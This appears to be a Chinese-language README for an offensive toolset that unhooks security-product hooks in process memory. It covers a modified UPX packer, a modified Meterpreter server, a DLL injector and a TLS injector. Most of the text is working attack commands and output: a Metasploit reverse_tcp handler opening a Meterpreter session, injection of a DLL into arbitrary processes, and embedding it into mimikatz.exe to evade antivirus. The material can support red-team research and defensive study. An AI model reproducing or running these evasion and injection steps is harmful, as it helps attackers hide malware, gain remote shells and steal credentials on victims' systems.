反射式 DLL,可扫描进程内存并解除已加载库的钩子以规避安全软件,并集成 UPX、TLS 注入器和 Meterpreter。
DLLRefresher.exe 是一个独立的测试工具,用于扫描进程的内存空间并解除当前已加载库的钩子。
打包的 UPX 二进制文件已被修改,以支持一个附加参数(-X <path/to/target.dll>),用于嵌入到打包的二进制文件中。最终的 UPX 打包二进制文件将在内存中解包目标可执行文件,并在跳转到可执行文件的原始入口点之前调用嵌入的 DLL。
修改后的 UPX 源代码可在 https://github.com/CylanceVulnResearch/upx/tree/reflective_dll 找到
用法:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
示例:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
metsrv.dll(以及 meterpreter 文件夹中的相关插件)是一个修改过的 meterpreter 服务器,它会在运行 meterpreter 初始化之前解除当前已加载库的钩子。
用法:
将 meterpreter 文件夹中的所有 DLL 复制到 metasploit-framework/data/meterpreter/,然后像平常一样在目标上获取 meterpreter 执行。
示例:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe 是一个辅助工具,用于将给定的 DLL 注入到任意进程中。
用法:
Inject.exe <pid> <filename>
示例:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
该 DLL 可以通过 meterpreter 会话使用 post/windows/manage/reflective_dll_inject 模块进行注入。
用法:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
示例:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py 是 Borja Merino 脚本的修改版本,用于支持反射式 DLL 注入。它将获取一个反射式 DLL 并将其注入到 32 位可执行文件的 TLS 段中(不支持 64 位)。
用法:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
示例:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t